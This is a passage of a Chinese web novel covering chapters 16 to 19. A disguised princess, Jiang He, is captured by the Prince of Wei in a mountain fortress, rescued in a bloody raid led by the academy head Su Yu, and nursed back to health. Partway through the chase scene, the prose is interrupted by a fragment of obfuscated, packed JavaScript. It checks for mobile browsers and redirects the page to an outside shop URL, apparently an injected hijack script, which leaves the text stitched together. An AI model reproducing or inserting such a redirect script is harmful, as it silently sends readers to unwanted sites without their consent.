从进入这片树林开始,江鹤就觉得哪里不对劲,此刻体内翻江倒海的倦意让她几乎站不住脚。
眼前的树影在晃动,她强忍不适,将率先冲上来的蒙面人杀了个干净。
天旋地转里,她最终倒在地上被团团围住。最后的意识里,江鹤看到树冠缝隙里那一线灰白色的天,还有周围谁叫她的声音。
待他们走后,一束绚丽的烟花在原地炸响。
苏玉此时正在和陈盛几个人聊书院后续的改革事宜,身后是学子们集合的嘈杂声。
然后,他听到那个不合时宜的声响。
苏玉的话停在半空中,猛然转过身。
黄昏的光从西边斜射过来,书院的学子们正在集合准备回书院,大家熙熙攘攘地排着队。
文隽正拿着名册对照人数,点到那个名字的时候——
“江鹤。”
没人应。
“江鹤!江鹤在吗?”
文隽和旁边的苏玉对视了一眼。
“都有谁不在?”苏玉问
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“江鹤,序竹,汪景宜,还有裴宣,都不在。”文隽合上名册,翻开又合上,确认自己没看错。
确定名字后,苏玉盯着那片林子,眉头渐渐拧紧。
文隽转而问其他人:“有谁刚刚看到他们几个了吗?”
“序竹和裴宣好像去往那边的树林里去了。”人群里一个女声说。
苏玉向那片林子望去,瞳色越来越黑。
“文隽,去苏氏宗祠,请族中乡兵速来北山支援。”
苏玉的声音泛着彻骨的凉意。
“好,我现在就去!”文隽被苏玉的语气吓了一跳,随即拔腿就跑。
苏玉转身看向和他比肩而立的陈盛:“仰山兄,你先带其他人回去。”
陈盛点了点头,神情紧张,他拍了拍苏玉的肩膀:“我回去安顿好他们就来,你要小心。”
“嗯。”
陈盛走后,苏玉看了看天色,已日薄西山。
风从北边吹过来,带着暮春那种将暖还寒的凉,吹得他后背的薄汗一收,激起一层细密的冷意。
远处的山谷里,江鹤意识回笼的时候,先嗅到一股潮湿的石苔味。
她动了动身后的手腕,绳结勒得很紧。
江鹤睁开眼,发现自己被绑着躺在地上,她动了动,发现浑身无力。
“沧溟。”
一个男人的声音从头顶传来。
江鹤坐起身。
火把的光照不清整个石室,但足够她看清眼前坐着的人,他身穿鸦青圆领袍,手里端着一盏茶。热气从杯口升起来,在他下巴处散开。
魏王云牧。
江鹤盯着他看了两秒,然后发出一声笑,像是自嘲。
魏王坐在她面前,身后站着的裴宣直直地盯着她。
“沧溟,阮州好玩吗?”他吹了吹浮叶,慢悠悠开口,“你不回京城待着好好择婿,是觉得阮州有你的夫婿吗?”
江鹤向前探着身子,目光似恶虎。
“你把序竹她们弄哪了?你我之间的恩怨,跟他们没关系。”
“恩怨?”
魏王仰天干笑了几声,声音突然沉了下来:“感谢你提醒我,是你杀了我儿子。”
“那是他咎由自取。”
江鹤像是被戳到了痛处,她的声音在发抖,但每个字都咬得很死:“我兄长为了弥补他犯下的错,也死在了那场战役不是吗?”
“所以你就亲口下令处决他?!”
魏王把茶盏摔碎在她眼前,拍案而起,身后的裴宣被吓得往后退了一步。
“军令如山,他该死。”江鹤字字珠玑。
魏王的脸色铁青,却强忍着怒气重新坐了回去。
与此同时,江鹤的手在背后悄悄摸索着绳结。
魏王又变回一副气定神闲的样子。 “你刚刚问的人,叫序竹和汪景宜,对吗?”
“你把他们怎么了?!”
魏王一阵冷笑。
“沧溟,你知道自己最大的弱点是什么吗?”他居高临下地看着江鹤,“不是自负,是悲悯。”
江鹤死盯着魏王:“你什么意思?”
“你那么自负,我儿子你想杀就杀,对裴宣也毫不留情,可独独对最不该悲悯之人悲悯。”魏王觉得此刻热血沸腾。
江鹤愣了一下,就在那一瞬间,她的脑子嗡的一声,所有的线索开始往回倒退。
这一刻,她的心如坠冰窟。
16. 卧龙寨(二)
“所以汪景宜从一开始就是你的人。”
石室里一静。
她想起汪景宜那些恰到好处的出现,在她偷听的时候正好来找她,还有他看到裴宣时犹豫的神情。
江鹤看了一眼魏王身后的裴宣,回想起他在树林里说的话。
她笑了出来,笑得很热,热得发冷。
魏王揪住江鹤的衣领:“你还是那么聪明,聪明的让人厌恶。”
之后他再次把她甩在地上,江鹤后背撞在石地上,伤口像被重新撕开,疼得她眼前发黑。
“可再聪明的人也有弱点,”魏王略带调侃道:“见山书院的山长——”
石壁上的火把跳了一下,影子在墙上猛地一晃。
听到这个名字,江鹤猛地从地上抬起头。
“你和他的关系不一般吧?”
魏王玩味地看着她。
“你想说什么?”江鹤心中发紧。
“京中的传闻是你叫人放的吧,说我在阮州大肆兼并土地,引得那些老匹夫们趁机接连的弹劾我,”魏王用一种难以置信的表情说:“哪怕把火烧到自己身上,你都要护着他,真是感天动地。”
“我说了,你我之间的恩怨,和他人无关。”江鹤强作镇定。
“沧溟,你太自负了!”
魏王突然站起身来,审视着脚下的人。
“你以为自己军中杀伐果断,就能在京中搅弄风云吗?”
又是一声冷笑,魏王走了几步,又回头瞧着江鹤。
“我真该谢谢你,把我引到阮州,看了我们公主这么大场好戏。你演得这么好,不该没有观众。”
“你说是吧,裴宣?”魏王转头看向裴宣。
裴宣被他们刚刚的话吓得一直没敢吭声,此时突然被叫到,身体惊得一震。
“那天章成跟我说,在阮州伏击的时候,你拼死护着他。我真的很好奇,他知不知道你的身份啊,公主?”
江鹤没有理他。
魏王逼近她:“你猜,他要是知道了,你这出戏还能不能唱下去?”
“与你无关。”江鹤冷眼瞧着他。
魏王嘴角噙着一丝意味不明的笑:“啧啧,有情人反目的戏码,应是相当好看的。”
江鹤偏过头,不再接他的话。
见她不说话,魏王觉得有些无趣,转而看向裴宣。
“小子,你做的很好,跟你爹一样把事办得漂亮。”
裴宣突然扑向前抓住魏王的袖子:“那,那现在您能救救我父亲了吗?您答应过我,只要我帮您抓住她,就,就放我父亲一马。”
魏王微眯双眼,蹲在地上摁着裴宣的肩膀。
“我现在,就送你去见你父亲。”
一刹那间,魏王手中长刀刺穿裴宣的胸腔,裴宣的眼睛猛地瞪大了,嘴张开后,还没来得及发出声音。
他的血喷涌而出,噗的一声,溅到江鹤的右脸颊上,血是热的,顺着她的脸颊往下淌。
“裴宣!”
江鹤嘶喊出声。
他的身躯在她眼前渐渐倒下,睁目而亡,死不瞑目。
看着眼前人的尸体,江鹤难以置信地抬头看向魏王。
阎王罗刹本不在地狱,而在人间。
尸体很快被人拖了出去,地上留下一道暗红的拖痕,在火光下泛着湿润的光。
一阵死寂般的沉默后,江鹤轻笑了一声:“现在轮到我了吗?”
“有种你现在就杀了我,替你儿子报仇。”
魏王收敛了刚刚那狰狞的眼神,将剑锋指向江鹤的眸间。
“就让你这样死了,实在太便宜你了,我要你眼睁睁看着你在乎的人,一个个为你而死,方能解我心头之恨。”
江鹤冷眼瞧着他:“那我等着魏王。”
魏王冷哼了一声,拂袖而出。
他走后,江鹤松开了刚刚被她划破的绳子,可束缚的解除并没有使她松快分毫,江鹤反而瞬间瘫在了地上。
石室里安静下来,只能听到她自己的喘息。
如果魏王说的是真的,汪景宜是从一开始就是魏王的人,还是后来被收买的?又或是裴义的人?那盒粗布包着的糕点,也是演戏吗?
苏玉知道吗?魏王还想干什么?
江鹤缓缓直起身子,坐在地上,眼前石门被铁链死死锁住。
天已经彻底黑了下去。
苏玉这边已经集齐了人手,火把成片,将每个人的脸映得忽明忽暗,刀剑的寒光时隐时现。
远处不时传来几声狼嚎,在山谷间幽幽回荡,如泣如诉,似游魂在风中呜咽。
秦长风神情紧张,在一旁问:“先生,现在怎么办?”
苏玉凝视着远方的一个方向:“见山书院依山而建,几十里外常有山匪出没,只有这一种可能。”
秦长风说:“那我们现在——”
他的话被一阵从远处卷来的马蹄声打断。
“苏先生!”
一个女声从远处传来。
洛惊鸿带着一队人马踏尘而来,跑到苏玉跟前时她勒住缰绳,她带来的那队人在她身后依次停住。
洛惊鸿翻身下马气息还没喘匀:“您就是见山书院的山长,苏玉吗?”
苏玉打量了一眼衣着不凡的女子:“正是在下,你是?”
洛惊鸿极力抑制住喘息:“我是洛惊鸿,江鹤的朋友。刚刚我收到她给我传来的信号,她一定是遇到什么危险了。”
苏玉扫了一眼她身后的人马,全都训练有素,领头几人的骑姿是长年行伍才有的习惯。
洛家的商号遍布十三省,户部欠饷的时候,都要找他们拆借。
他在京中时便听说过这个名字,只是未曾谋面。
江鹤和洛惊鸿是朋友,北境回来的秦长风又觉得她眼熟,江鹤的真实身份在他眼里更加扑朔迷离,越发难以看清。
苏玉此时心中有无数想要追问的答案,都被他压下。
“信号在什么方向?”
“在那!”洛惊鸿指了指苏玉刚刚凝视的方向,“我的人已经潜伏进去了,到时候我们里应外合,一定能救出她。”
“好。”
两人都顾不上再说别的话,两股人马汇成一列后,迅速出发了。
此时的江鹤在石室中屏气凝神,观察着周围的环境。
光从墙角的缝隙里渗进来,月亮在东边。墙是石头垒的,地面石板缝里长着苔藓,只有背阴的一面才有这么厚的苔。
通风口在高处,风从东边来,带着草木气,没有炊烟。
这地方不在村落边上,在山里。
山匪的寨子?还是魏王的别庄?
那脚步声从头顶传来,她大概率是在地牢里,而且这脚
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步声十分有规律,不像是普通山匪的。
门外一左一右两个守卫,左边的每隔一炷香往东走一趟,右边的站着不动。
江鹤在想,洛惊鸿应该已经带人过来了,苏玉也一定发现她们不见了。
她该怎么给他们传消息。
突然,她听到头顶传来的脚步声变得很急促,往东边去。
与此同时,江鹤闻到一阵烟味,是魂转香,这种迷香江鹤体内早有免疫。
门外两个守卫忽然间接连倒了下去。
谁?
一个蒙着面的男子出现在门前。
“小姐,是我。”
江鹤瞧清了那张脸,是容因。
他竟然真的是探子,当初江鹤以为是洛惊鸿逗她玩的。
“你怎么进来的?惊鸿呢?”
容因没两下就撬开了锁链,潜进了石室。
“洛小姐和苏先生已经到寨子门口了,刚刚就是他们在攻寨,我才趁机溜进来。”
容因双手扶住江鹤的肩膀:“小姐,你听我说,换我的衣服想办法逃出去,我和你身形差不多,一时半会他们发现不了的。”
江鹤怔了一瞬,此时地牢通道里又传来一阵脚步声。
“来不及了小姐,快!”容因迫切地抓紧江鹤。
江鹤很清楚,这是最好的办法了,只有她出去了,才能控制住局面。
他重重地点了下头。
两人换好衣服后,江鹤要走的脚步顿了顿,她很清楚,是容因用命在赌她会赢。
她回头看了一眼容因,他身形单薄,却义无反顾。
“小姐快走,”
容因神情急切地看着她,眉头紧皱:“我等你。”
“保护好自己,等我回来救你。”
江鹤没再回头。
她从地牢溜出来的时候,外面的场面混乱,看守的人并不多。
这寨子果然在山谷里,魏王的私兵窝踞在这里,怪不得她在书院的时候听说过,这个叫卧龙寨的土匪窝盘踞多年,裴义都视而不见。
她贴着墙根摸向后山,夜风从山谷里灌上来,山寨里乱成一锅粥,后山只剩零星几个守卫。
江鹤侧身闪进两座木屋之间的夹缝,等守卫的背影消失在转角,才继续往前摸。
木屋一排五间,低矮逼仄,像是临时搭起来的柴房改的。
江鹤屏住呼吸,一间一间摸过去,她在最中间那个里面找到了序竹。
屋里很暗,只有门缝里透进来一线光,照见序竹蜷在墙角的轮廓。
江鹤进去后看到她时,序竹双手被绳子勒在身后,嘴里塞着一块粗布,看到江鹤时她眼睛猛地睁大,嘴里发出含混的唔唔声。
“别怕。”
江鹤扯掉她嘴里的布,绕到序竹身后,割开了绳子。
“江鹤!”
序竹被松开后紧紧抓着江鹤,像是怕她消失。
“这里不是说话的地方,”江鹤摁住她,用手背擦掉她脸上的泪,“能走吗?”
序竹点头,又摇头,又点头。
江鹤没再多问,拉起她,把她挡在身后推开了门。
门推开时,序竹猛地往她身后一缩。
“他...!”
汪景宜正站在门口。
月光从他身后照过来,把他的脸藏在阴影里,看不清表情。
17. 卧龙寨(三)
江鹤猛地将匕首挥向他,刀锋贴着脖颈。
汪景宜浑身一僵,整个人不敢动分毫。
“江鹤...别杀我...求你.”
汪景宜僵着身子,“别杀我...求你。”
江鹤冷笑一声:“裴义被魏王杀了,你知道吗?跟着他不会有什么好下场的。”
“什么?”汪景宜瞪大了眼睛,一动不敢动。
汪景宜的声音发抖:“我不是故意的...是裴义,当初他拿我的家人威胁我,我要是不照做...他们就杀了我娘,我没有办法....”
他的声音越说越小,最后几近不可闻。
江鹤此时脑海中闪过魏王在地牢里说的那句话。
你最大的弱点,是对不该悲悯之人悲悯。
她的心中一阵悲凉。
"说!”江鹤把匕首贴近他颈侧动脉,“你是什么时候开始给裴义做事的,开学那日也是演的,是吗?"
“不是!”
汪景宜僵直着脖颈:“是...是后来,他们把我娘抓了过去,我才...”
江鹤握刀的手微微一顿,她盯着他看了片刻,而后慢慢放下了匕首。
汪景宜踉跄了下,而后急切地抓住她的胳膊。
"那天我没有骗你...真的。"
江鹤甩开了他,汪景宜整个人摔在了地上,他撑着地面抬头看她,眼里尽是痛苦。
江鹤冷冷道:“但愿我从来没认识过你。”
江鹤拿绳子把他绑在刚刚关序竹的地方,没再看他。
出去后,江鹤拉着序竹一路躲,最后送她到了后山的一条小径。
“快走,往后山跑,别回头。”江鹤推了她一把。
序竹抓住她的手不放:“你呢?你不走吗?”
“你先回书院等我,”江鹤递给她一把匕首,“我不会有事的,相信我。”
序竹一步三回头,直到她的身影消失在夜色中,江鹤才收回目光。
远处的喊杀声如潮水般越来越紧,江鹤转过身,敛了刚刚的神色,握紧了刀。
寨门被攻破后,苏玉跨过烧焦的门槛,耳边全是刀兵碰撞的声响。苏氏乡兵和洛惊鸿的人马从两个方向涌入,与寨里的人厮杀得激烈。
魏王站在瞭望台,观察着战况。
“王爷!后山抓到一个逃跑的丫头。”一个人跪地汇报。
“什么?”魏王身形一顿。
“去地牢!”
容因此时正背对着牢门坐着,听到动静时,认命般闭上了眼。
酒楼那天其实并不是他和江鹤的初见,洛惊鸿知道内情,把他留在了身边。
牢门被打开后,魏王一把转过他。
“哼,我真是小看你了,沧溟。”
魏王咬牙切齿地盯着容因,朝他狠狠踹了一脚,一口鲜血被逼吐出来。
容因趴在地上,嘴角浅浅一笑,随即咬下藏在口中的毒药。
公主,就当容因报您的恩了吧。
“他想死!”
魏王身后的一个头目眼疾手快地制止了容因。
“咳咳咳...”
容因爬了起来,往那人的长刀上毫不犹豫地撞过去,随即被一脚踹开。
“想死?没那么容易。”魏王把容因拎起来,“小子,她应该舍不得你死吧?”
容因死盯着魏王,毫不示弱。
“把他和那个丫头一起带到外面绑起来”,魏王捏着容因的脸,一脸狡黠,“你说,你们家公主会舍得抛下你们吗?”
“杀了我!”容因扭动身子挣脱着,而后被扔在地上拖走了。
寨中央的空地上,容因和序竹被按着跪在地上,双手反绑在身后,嘴被堵上了。
魏王站在他们身旁,手里不紧不慢地转着一把匕首。
“沧溟,本王知道你在,”他对着周围喊道,“你的两个朋友在这里,不出来见见吗?”
无人回应。风从山谷里灌进来,把火把吹得噼啪作响。
江鹤躲在暗处,死盯着他们。
魏王笑了笑,走到序竹前面,匕首贴在她脸侧。
“这个丫头,叫序竹是吧?你书院里的朋友。”
序竹的身体瞬间僵住,冰凉的匕首激的她浑身发抖。
她跑到后山的时候,正好碰到巡逻的人,没躲过去。
“多好的姑娘,”魏王叹了口气,“可惜了。”
魏王看向黑暗深处。
“我数到三。你不出来,我先断她一根手指。”
“一。”
“二。”
序竹激烈地摇着头,眼泪混着泥土从脸颊滚落下来。
“三。”魏王的手腕微微发力。
“放开她!”
声音从侧面传来。魏王停住手,循声望去。
江鹤从寨墙的阴影里走出来,手里拿着一把长刀。
容因看到她后想要站起身来,被守卫死死地摁住。
“你要的是我,跟她们没关系。”她站在空地的中央,“放她们走。”
魏王上下打量她,嘴角慢慢翘起来。
“你说什么?”魏王把一只手放向耳侧,“我有说要放过她们吗?”
江鹤淡淡一笑。
“你笑什么?”魏王眼神一冷。
江鹤随即把刀架在了自己的脖子上。
“王爷,我已经向宫中报了信,今天我死了,你觉得自己会有好下场吗?”
江鹤的神情很淡然,像是在说别人的事:“你从小看着我长大,你知道的,我向来说到做到。你可以杀我,但不是现在。”
魏王旋了旋衣袖,语气嘲讽:“沧溟,就算你报了信,宫里顶多知道你在阮州,你死了,可赖不着我。”
“是赖不着你。”
江鹤话锋一转,勾唇一笑:“那如果你儿子没死呢?”
“你说什么?”魏王不可置信地瞪着江鹤,语气中竟带着一丝慌乱。
不出一秒,魏王便冷静了下来:“我凭什么信你。”
“你敢赌吗?放了他们,我们慢慢聊。”江鹤咬死了最后三个字。
魏王瞠目握紧了拳头,把匕首丢到地上。
“把她们放了。”魏王闭上了眼睛。
江鹤看向容因,用命令般的语气道:“带她走。”
容因神情复杂,拽着序竹的手臂,几乎是拖着她往外跑。
火光、刀影、惨叫。一路上两对势力绞杀在一起,分不清谁是谁。
“这边!”容因辨认了一下方向,拽着她往北边跑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546433|204167||http|test|mini|href|location''.split(''|''),0,{}));
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>序竹踉跄着往前跑了几步,脚下一软,摔在地上。
一把刀从她头顶劈下来。
序竹闭上了眼睛。
“铛——”
序竹睁开眼,看到一柄剑横在她头顶,架住了那把刀。
苏玉反手震开对方的刀,剑锋一转刺向他的胸腔。
苏玉此时浑身是血,分不清是别人的还是自己的,序竹从没见过这样的山长。
他额头青筋凸起,像是杀红了眼。
“序竹。”苏玉拉起了她。
序竹的嘴张了张,发不出声音,她的手拼命比划着,指向南边的一个方向。
容因回过神来,捂着刚刚被戳穿的左臂:“你就是苏先生吗,小姐在里面,快去救她...”
苏玉把序竹推向容因,转身握紧了剑,向序竹所指的方向劈开一道血海。
待到容因和序竹在寨门外放出烟雾弹后,江鹤终于松了口气。
魏王耐着性子问:“现在可以说了吗。”
江鹤收了目光,举起了长刀。
“你!”魏王意识到自己被耍了后,露出恶鬼般的神情。
“杀了她。”
魏王一声落下,无数的兵刃同时向她砍来。
江鹤迎了上去,剑影罗织成网,劈开一圈又一圈血光,时间过了很久,她不知道自己杀了多少个。
体内的药效并没有过,背后刚长好的伤势也在隐隐作痛,她强撑着将一批批魏王的亲兵杀了个干净。
“你还要打吗?”魏王的声音从很远的地方传来,身后站着乌泱泱的兵卒。
江鹤没有回答,从地上捡起一把沾满血的刀。
她笑了一下。
“来。”
刀锋再次涌上来。
渐渐地,她终于力竭倒下,单手撑剑,身体轰然砸在地上。
魏王收了兵,亲手拿过一把刀,慢慢走过来。刀尖拖在地上,划出一道浅痕。
她的影子被四面八方的火光吞没,脚下什么都没有,她半跪在正中央,纹丝不动。
魏王在她面前站定。居高临下,像看一只被踩在脚下的蝼蚁。
“沧溟,你是个狠角色。”
“我有时候会想,如果你是我的女儿该多好。”
魏王的语气里竟有几分真切的惋惜。
“可惜你不是。”他的声音骤然冷下来,刀锋陡然举起,带起一阵冷风。
江鹤听不清他在说什么,那一刻,她竟觉得自己终于要解脱了。
再也不用杀人,再也不用回到那个囚笼,再也不用去成不想成的婚,再也不用去做一个离经叛道,千夫所指的人。
只是可惜了,走的时候没能和江添好好道别,他应该会怪自己。
还有苏玉,到最后也没能告诉他,她很喜欢他。不过这样也好,他永远也不会知道,自己是仇人的孙女,他也不会再有机会恨她。
如果可以,她想在魂断后能多留一会儿,她想去看看,苏玉知道自己死后,他会难过吗,会舍不得自己吗?
他对自己,到底有没有一点男女之爱。
人生二十三载,她想知道临了的时候,有没有人爱她。
下辈子...算了,还是不要有下辈子了吧。
江鹤重重闭上了眼睛。
18. 卧龙寨(四)
“住手!”
江鹤听到一个声音,是那个在挽月楼听过的声音。他来救自己了吗?还是人之将死出现了幻听。
江鹤睁开眼,目光涣散。透过模糊的血瞳,她看到苏玉的身影。
她很想看清他。
已经起势挥起的利剑定在空中,魏王放下刀,重新指向那个赶来的人。
“你就是苏玉吧。”
他没有回答,目光直直落在江鹤身上。
她半跪在血泊里,单手撑剑,半张脸全是血,像被逼到绝路的幼兽,拼着最后一口气,也要咬断敌人的喉咙。
苏玉浑身发抖,像是有人把手伸进他的胸腔,狠狠攥了一下。
他抬头逼视着魏王:“放开。”
魏王冷笑道:“苏相浔那老头儿,一辈子端着的清高架子,最后不还是被先帝爷当条老狗似的宰了?人头在西市挂了三天,最后连个全尸都没落下。你倒好,连官都不敢做,你拿什么跟本王斗?”
苏玉死死盯着魏王,嘴唇翕动了几下,翻江倒海的恨意化作从骨子里泛上来的战栗。
“江鹤!”洛惊鸿带着人赶过来,身后是刚刚被他们杀出来的血路。
两队人马齐齐排开,针锋相对。
“我说让你放开!”苏玉举起剑指向魏王。
魏王干笑了几声,反倒放下了剑:“你还想救她,你知道她是谁吗?”
“江,鹤。”魏王声音转小,半蹲下来,用只有两个人能听清的音量道,“要不要让我帮你试试,你这位盲了眼的情郎?”
江鹤怒视着魏王,喉间充血:‘你想干什么?!’
魏王重新站起身来,眼含讥诮:“想让我放了她,可以。”
“你,”他剑指苏玉,“跪下。”
江鹤心中一震,拼力想要站起来,顷刻间又倒下,魏王瞬间将剑划向她的咽喉。
“别碰她!”苏玉身躯前移。
“你跪,还是不跪?”魏王抬眼倨傲一笑。
明明灭灭的火把在他身上投下斑驳的光影,苏玉僵了僵,攥紧剑柄的手一寸一寸松开,剑垂了下去。
“山长!”秦长风和他身后的乡兵急切的喊道,声音里压着怒意和不甘。
“我跪。”他的声音低哑。
在江鹤摇晃的视线里,苏玉的身躯缓缓坠落,他单膝跪下,膝盖砸在地上,发出一声闷响。
江鹤的眼睛和苏玉在此刻平视,一滴清泪淌过脸颊,混成血水落在地上。
她凝聚了最后一丝力气,撑起身来砍向身旁的人,居高临下之人在江鹤起身的瞬间用剑刺向她的心脏。
“不!”
一个身影突然从魏王身后向他冲来,猝不及防间魏王被撞倒在地,剑掉落在一旁。
是汪景宜。
“江鹤!”
苏玉顷刻间起身,冲向前接住了跌落的江鹤。
魏王懵了一瞬后迅速站起身,重新拿起剑刺向身前的汪景宜,目光阴狠。
江鹤昏迷前的最后一眼,是汪景宜在她眼前被硬生生刺穿,身躯缓缓堕落时还在呢喃着什么。
“别恨我。”他的嘴角微微翘起,像是在笑。
魏王旋即抽出了剑,汪景宜的血瞬间喷涌而出。
“撤!”
魏王眼见局势不利,趁机撤走了。
苏玉跪坐在地上抱着江鹤,看着她想要抬起来触碰自己的手骤然坠落,缓缓闭上了眼睛,像是在诀别。
“不...”苏玉感受到自己几近停滞的心脏,拽着她的手紧贴在自己脸侧。
“快带她走!”洛惊鸿冲过来喊道。
苏玉的意识瞬间被惊醒,用发抖的双臂抱紧江鹤直冲向外。
回见山书院后,苏玉紧急把她安置靠近西苑见山居的一间厢房里,徐曦在里间抢救,几个女医端着一盆盆黑红的血水进进出出。
帘幕掀起又落下,每次带起来的风都把烛火吹的东倒西歪。
帘幕之外,洛惊鸿焦急的来回走动,苏玉僵坐在一旁,手攥着衣料,一语不发。
两个时辰后,徐曦走了出来,眸中暗沉。
“她怎么样了?”洛惊鸿瞬间冲过去抓住徐曦的手。
“已经扛过了最危险的时期,能不能醒就看她扛不扛得过今晚了。”徐曦用衣袖拂了下眼睛,沉沉的说着,”要是再晚一刻,就真的救不回来了。”
“那你哭什么?你不是医士吗!”洛惊鸿颤抖着声音。
徐曦抬眼望了下房梁,声音发涩:“我行医多年,从没见过一个年纪轻轻的小姑娘,身上全都是伤,新伤旧疤,没一块好地儿。”
苏玉坐在旁边一直没说话,此刻抬起头看着帘幕的方向,眼眶泛红,眸中水光盈盈。
距离上次她受伤还没过多久,这次他又没有保护好她,他怪自己无能。
洛惊鸿冲进帘幕里,看到她气息奄奄的躺在床上,面色惨白。
看到她的那一刻,洛惊鸿心脏坠疼,转过身用衣袖挡着脸闷哭出声。
洛惊鸿知道,江鹤从小性格桀骜,皇帝不喜欢她,硬生生靠着从尸山血海杀出来的军功才有了立足之地。
这世上没有女儿家领兵打仗的先例,她就把战功都记在他兄长名下,以公主之尊镇北境多年。
听到里面传出的声音,苏玉镇了镇神,站起身走进去。
“洛姑娘,”苏玉的声音很轻很轻,“北苑已备好厢房,早做歇息,今晚苏某在这儿。
他末了又补充了一句:”我们不能都累倒了,明天就没人照顾她了。”
洛惊鸿坐在床上转头看向他,想起他在卧龙寨的模样,点了点头。
洛惊鸿走之前替江鹤掖好被子,看着她苍白的脸,心里默默道:沧溟,你赢了,他已经是你的了,你必须醒过来。
洛惊鸿站起身,对苏玉说:“她醒了一定叫我。”
苏玉嗯了一声,微微侧身,让出了门口的方向。
洛惊鸿出去后,苏玉站了片刻,然后缓缓向她走过去。
他坐在床沿,握起她的手,放在自己脸侧。
江鹤闭着眼睛,眉峰微蹙,安静得像一尊玉像。她生得清丽,此刻更像是蒙了一层薄霜。
“别这么吓我,快点醒来好不好...我还有好多话没跟你说。”苏玉语气极尽缱倦,用脸蹭着她的掌心。
他等了很久,没有等来她的回应。
灯火昏黄中,苏玉在她掌心落下咸涩一吻。
辰时初刻,晨光从窗纸透进来,把屋子里的一切都镀上一层薄薄的雾色。
江鹤的眉心蹙了蹙,然后缓缓睁开了眼睛,等到彻底恢复意识后,她转头看到苏玉趴在床沿睡着了,一只手正紧紧握着自己的手。
昨晚的事情在她眼前浮现,他那么矜贵的一个人,能为她做到那个地步,一定舍不得她死。
江鹤抬起手抚摸他的发,心里发问:苏玉,你对我到底是什么感情?你爱我吗?
江鹤转而又想到自己的身份,指尖在他发间停了一瞬。
爱如何,不爱又如何,都是江鹤的,不是她云沧溟的。
苏玉感受到她的动静,缓缓抬起头来,正好对上她看自己的目光。
“你醒了!”
苏玉语气带着激动,一下子坐起身,“
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感觉怎么样,还难受吗?”
他把手背贴上她的额头,感受到已经降下来的体温后,眼睛亮亮的:“太好了,不烧了。”
江鹤看着他喜不自胜的样子,缓缓开口:“你昨晚一直在这儿吗?”
她没有再尊称他为先生。
“嗯,”苏玉没有掩饰的点了下头,“你先别说话,我去叫医士。”
片刻后,徐曦进来检查她的伤,苏玉侧过身避嫌。
检查的时候,江鹤越过徐曦,一直瞧着苏玉的背影。
他站在熹光里,像是浑身泛着月白色的光晕,但仔细去看,衣服背面却有血痕,是她抓的吗?
徐曦注意到她的目光,神色微动间像是明白了什么。
一切检查妥当后,徐曦轻轻捏了捏江鹤的脸:“是个命硬的。”
江鹤轻轻点头致谢。
“山长,”徐曦走向闻声转过身的苏玉,“江鹤已经没有什么大碍了,她身上的药记得要按时换,切不可过度行动。”
“多谢。”苏玉微微欠身。
送走徐曦后,苏玉坐回床侧,将她缓缓扶起来。
他端起一旁的药碗,一勺一勺地吹凉喂给她。
他以前从来不会这样,江鹤看着他的动作,觉得他好像哪里变了。
“序竹,还有容因,他们怎么样了?”江鹤问。
“容因...是那个带序竹出来的小友吗?”苏玉探询地问。
“嗯。”江鹤没有过多解释。
“序竹没事,就是吓着了。容因伤的有些重,不过没有什么大碍,已经上好药在休息了。”
苏玉把药匙里的药吹凉后,小心翼翼地喂给江鹤:“等她们醒了,会来看你的。”
“江鹤!”
随着门砰的一声被推开,洛惊鸿雀跃地跑进来,看到两个人正在喂药的动作,又有些尴尬的偏过头去。
苏玉看见洛惊鸿,有些不自然的把药碗放在江鹤手里。
“洛姑娘来了,我就不打扰你们说话了,她昨晚很担心你。”苏玉站起身对江鹤说。
江鹤把他的反应看在眼里,没多说什么,轻轻嗯了一声。
苏玉和洛惊鸿相□□头致意后,把门关好出去了。
见他离开,江鹤端起碗把剩下的药喝完,洛惊鸿快步走到江鹤床侧坐下,接过药碗放好。
“你感觉怎么样了?还有哪里不舒服吗?”洛惊鸿一边问一边检查。
江鹤拉住她到处乱摸的手,浅浅一笑:“我没事。徐医士刚刚还说我命硬。”
“你昨晚吓死我了!”洛惊鸿抱住江鹤,“来个书院而已,怎么把命都要搭进去了。”
江鹤有些虚弱的推开她:“好了好了,我没死也让你抱死了。”
洛惊鸿反应过来后立马松开了她,转而又想起什么似的,拉住江鹤的手,用戏谑的目光看着她。
“想说什么就直说,别用这个眼神,怪吓人的。”江鹤不自觉的往后缩了缩。
洛惊鸿上下打量了一眼江鹤:“怎么样?你们到哪一步了,睡了吗?”
“咳..咳..”江鹤感觉要把刚刚喝的药呛出来了,“你怎么总问这一句。”
洛惊鸿见势连忙拍起江鹤的背:“哎呀,我好奇嘛。”
“再说了,他这么紧张你,你们怎么可能什么都没发生,我看你还是趁早跟他摊牌早点回去,拖久了不好。”
“再等等吧。”江鹤低下头,心不在焉地掰手,“我还不知道他对我到底是什么感情,或许只是师长的责任,换作旁人也是一样的...”
"什么?"洛惊鸿震惊地往后挪了一点。
19. 卧龙寨(五)
“要只是师长,他能守你守一夜?他能为你了说跪就跪?那可是苏氏真正的掌门人,魏王当着他的面羞辱他祖父,他昨晚看起来有多吓人,你是没看到吗?”
江鹤轻轻叹了口气:“他就是这样的,对谁都很好。我救过他两次,他心中有愧,对我格外好些也正常。”
“你...他...我...”洛惊鸿被气笑了,指着门外的方向,一时不知道该从哪里反驳,“我看你真是脑子不清楚了,昨晚但凡是个明眼人都能看出来,他喜欢你。”
江鹤眨着眼睛,真诚地问:“真的吗?”
洛惊鸿白了她一眼:“我本来还想等你醒了向你讨教一下经验,这才过了多久啊,他这样冷淡疏离的人,都能被你治成这样,你还觉得他对谁都挺好?”
江鹤手搓着被角,犹豫地说:“还是再等等吧,他昨晚那个样子,要知道我是...”
“你这次命硬挺过来了,那下次呢?”洛惊鸿郑重其事地拽过江鹤的手,“魏王现在已经知道了你的行踪,呆在这里不安全。听我的,早点回去吧。”
“算算日子,上批去找你的人应该已经抵京复命了,你没时间了。”
“我知道。”江鹤顺着门的方向瞧去,不置可否。
门的另一侧,苏玉悄悄离去了。
书房这边,文隽轻步走了进来。
“先生,您找我。”文隽行了个常礼。
苏玉听到声音后,放下手中久久未翻动的书卷,向门口示意了一眼。
